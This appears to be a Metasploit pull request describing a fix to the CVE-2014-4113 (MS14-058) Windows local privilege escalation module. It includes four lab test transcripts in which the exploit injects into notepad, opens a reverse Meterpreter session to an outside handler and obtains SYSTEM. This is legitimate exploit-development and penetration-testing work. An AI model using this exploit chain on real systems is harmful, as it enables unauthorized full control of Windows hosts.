Fix CVE-2014-4113 Windows Local Exploit to avoid offsets

As notices by Mysterie (https://twitter.com/Myst3rie) on twitter:

```
You don't need offset for shellcode_ring0 see exploit-db.com/exploits/25912/ (+ little patch for x64)
```

Which is absolutely true :-) Updating the module so it isn't offset dependent anymore

Test (notice windows 2008 R2 , we hadn't offset before this patch):

* Windows 7 SP1 64 bits

```
msf exploit(ms14_058_track_popup_menu) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4445
[*] Launching notepad to host the exploit...
[+] Process 2804 launched.
[*] Reflectively injecting the exploit DLL into 2804...
[*] Injecting exploit into 2804...
[*] Exploit injected. Injecting payload into 2804...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (972288 bytes) to 172.16.158.133
[*] Meterpreter session 35 opened (172.16.158.1:4445 -> 172.16.158.133:49160) at 2014-10-30 16:57:51 -0500

meterpreter > sysingo
[-] Unknown command: sysingo.
meterpreter > sysinfo
Computer        : WIN-FDQ37HP9OIS
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/win64
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.133 - Meterpreter session 35 closed.  Reason: User exit
```

* Windows 2008 R2 64 bits

```
msf exploit(ms14_058_track_popup_menu) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4445
[*] Launching notepad to host the exploit...
[+] Process 768 launched.
[*] Reflectively injecting the exploit DLL into 768...
[*] Injecting exploit into 768...
[*] Exploit injected. Injecting payload into 768...
[*] Payload injected. Executing exploit...
[*] Sending stage (972288 bytes) to 172.16.158.136
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 33 opened (172.16.158.1:4445 -> 172.16.158.136:49167) at 2014-10-30 16:51:58 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-RA2QMAOHOFU
OS              : Windows 2008 R2 (Build 7600).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/win64
meterpreter > exit
```

* Windows XP SP3 32 bits

```
msf exploit(ms14_058_track_popup_menu) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4445
[*] Launching notepad to host the exploit...
[+] Process 1228 launched.
[*] Reflectively injecting the exploit DLL into 1228...
[*] Injecting exploit into 1228...
[*] Exploit injected. Injecting payload into 1228...
[*] Payload injected. Executing exploit...
[*] Sending stage (770048 bytes) to 172.16.158.132
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 37 opened (172.16.158.1:4445 -> 172.16.158.132:1031) at 2014-10-30 16:59:57 -0500

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
gmeterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.132 - Meterpreter session 37 closed.  Reason: User exit
msf exploit(ms14_058_track_popup_menu) >
```

* Windows 7 SP1 32 bits

```
msf exploit(ms14_058_track_popup_menu) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4445
[*] Launching notepad to host the exploit...
[+] Process 2876 launched.
[*] Reflectively injecting the exploit DLL into 2876...
[*] Injecting exploit into 2876...
[*] Exploit injected. Injecting payload into 2876...
[*] Payload injected. Executing exploit...
[*] Sending stage (770048 bytes) to 172.16.158.135
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 39 opened (172.16.158.1:4445 -> 172.16.158.135:49160) at 2014-10-30 17:01:32 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
smeterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.135 - Meterpreter session 39 closed.  Reason: User exit
msf exploit(ms14_058_track_popup_menu) >
```

Verification
-----------

- [ ] Same verification steps than in #4064